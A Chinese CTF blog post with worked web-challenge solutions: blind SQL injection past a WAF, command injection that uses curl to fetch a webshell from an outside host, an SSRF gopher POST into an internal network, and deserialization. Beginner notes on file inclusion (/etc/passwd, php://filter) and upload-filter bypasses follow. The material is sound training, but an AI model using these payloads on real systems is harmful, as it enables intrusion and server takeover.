CTF 小结

Web200-1(Web1)

地址: http://web1.08067.me/  sql注入

万能密码测试无效有waf , ban掉的东西不少 ... *, and , or , union , 空格 ,逗号    抓包发现 http头发现有提示

在网上查找了一番,发现可以利用括号来代替空格

select pass from admin where user='Seclover'
select(pass)from(admin)where(user)=('Seclover')

为了消除结尾的 ' ,select * from admin where username='haha'=1='0' 这样也可以查询

逻辑是 , 假假真 为假,where后面的连等如果有一项的值为空或者为0的时候,那么整个查询结果都是空,否则就可以查询出东西

接下来,使用布尔盲注,but,逗号被过滤,mid () ,substring() ,left ()  , left () ,right () 等需要使用 逗号

但是 substring提供了另一个用法:SUBSTRING(str FROMpos FORlen)

构造paload uname=admin'=(select(select(substring(passwd%a0from%a0"+str(jj)+"))from%a0admin%a0where%a0uname='admin')='"+ii+xx+"')='1'='1&passwd=
然后写一个脚本自己跑,得到密码,然后登录

然后是一个模拟终端 ,不能输入空格 ,  所以用${IFS} 代替空格

,x.zip为一句话,curl${IFS}http://xx.xxx.com/x.zip  然后解压 unzip${IFS}x.zip 得到shell


http://web5.08067.me/

首先是官方给的提示是:

ssrf,关注下其他的协议,flag不在本机


首先用file:///etc/sysconfig/network-scripts/ifcfg-eth0 读取网卡地址

  1. DEVICE=eth0  
  2. HWADDR=00:0C:29:F0:AE:2A  
  3. TYPE=Ethernet  
  4. UUID=a1ca5d0e-61c9-4693-82ee-437eb0331617  
  5. ONBOOT=yes  
  6. NM_CONTROLLED=yes  
  7. BOOTPROTO=static  
  8. IPADDR=172.16.181.165  
  9. NETMASK=255.255.255.0  
  10. GATEWAY=172.16.181.2  
  11. DNS1=114.114.114.114  
  12. DNS2=172.16.181.2 
然后扫描ip段的存活机器, 172.16.181.*

然后发现post提交的页面 ,这个必须使用Gopher 协议发送post 协议,否则内网机器接收不到发送的数据

这里构造的时候要注意url 的编码和Content-Length的长度不能算错,还有就是url 编码两次

http://web5.08067.me/index.php?url=gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20curl%2f7.43.0%250d%250aAccept%3A%20%2a%2f%2a%250d%250aContent-Length%3A%2029%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3D12312%26submit%3Dsubmit



http://web3.08067.me/wakeup/index.php

官方给了提示:编辑器直接写代码


查看robots.txt 发现 index.php  function.php

.bak泄露,index.php.bak,function.php.bak

获得源码 ,发现是反序列化漏洞,利用就行了 ....




自己在做CTF过程中做的总结下面中实验室指的是网络安全实验室 题目全部来自bugku,南邮和网络安全实验室,题较基础,实验吧要复杂些 文中所有知识点内容并不全,要学习原理及深入得自己去找资源学习 看这个的时候,以做题为主 所有工具的使用,就做题,遇到要用什么学什么 先去DVWA中学习文件上传,文件包含,代码执行,命令执行,尽量亲手操作一遍,然后看前三个难度的源码,impossible难度的可以了解,网上有针对DVWA很详细的讲解 1.养成看源代码的习惯(简单) flag在源代码中(): 题目 firebug修改源码绕过本地验证(有视频) 题目 答案 CTF中源代码中一般有提示或者有敏感信息,建议养成看源代码的习惯 ctrl加F通用的搜索快捷键。 这个题真是全程看源代码,快捷方式:F12 题目 答案 2. http头(不难): burpsuite,浏览器代理设置教程抓了包后右键放到repeater里,点go可以进行发包测试,用完Burpsuite过后,要正常上网的话,要把代理关了。 浏览器插件改包的话,(有视频) 找flag:在请求头,响应头尝试实验室:key究竟在哪里呢? 302跳转的中转网页,burp抓包在HTTP history中找本应该访问的网站链接(为了方便寻找可以先clear一下历史),简单方法用firefox右键查看元素的查看网络中找到302跳转的网页,寻找flag(有视频) 南邮:单身一百年也没用 如果题目中遇到只能某某ip才能访问(ip伪造),修改或添加http请求头的X-Forwarded-For为题目允许的Ip地址,实验室:本地的诱惑 题目中说为了外国人的话:确保Accept-Language中有en-US 没有就自己加,如果说了只为了的话,就删掉其它的语言类型。(有视频) 实验室:种族歧视 只能用某种浏览器访问,直接修改user-agent为对应浏览器名字 实验室:HAHA浏览器 Cookie的修改 实验室:冒充登陆用户 Referer来源伪造 题目这个题好像坏了,可以去看下wp。 答案 最后来一个综合的题考察下你学的怎么样实验吧:头有点大 3. 文件包含(感觉必考) 利用: 读取敏感文件:如直接../../../../../etc/passwd来读取本地文件内容,其他敏感文件的读取是类似的 包含Apache日志文件(应该不会考) 远程包含shell 使用PHP封装协议读取文件和写入PHP文件 配合文件上传漏洞: 文件包含建议理解并操作dvwa的前三个难度的这个漏洞 例题:1.看到url里有?file=xxx.php(文件名) 考虑php伪协议读取源码, 然后利用这一点,可以读取到你想获取的页面的源码例如: index.php,flag.php,login.php的源码,然后base64解密 url里?后面改成这个?file=php://filter/read=convert.base64-encode/resource=index.php 本句的意思是将Index.php的源码以base64加密后的形式读出来 南邮:文件包含 4.暴力破解:burpsuite暴力破解教程 bugku:输入密码查看flag 5. 文件上传(感觉必考) 例:只能传jpg等不能传php 查看网页源码,很清楚看到是前端JS控制的话,那么直接禁用 JavaScript就可以上传php文件了, 或者可以用burpsuite通过拦截数据包,修改filenmae后文件名后缀为php 1.jpg.php 1.php.jpg 1.php;.jpg 后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名) 抓包修改Content_Type里的multipart/form-data为Multipart/form-data(大小写绕过) bugku:求getshell 上传过后通过显示的路径进行访问,或者右键文件属性里查找。 bugku:文件包含2 答案该题因为结合了上传,所以可以上传一句话木马,然后用菜刀连接 文件上传建议理解并操作dvwa的四个难度的这个漏洞
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值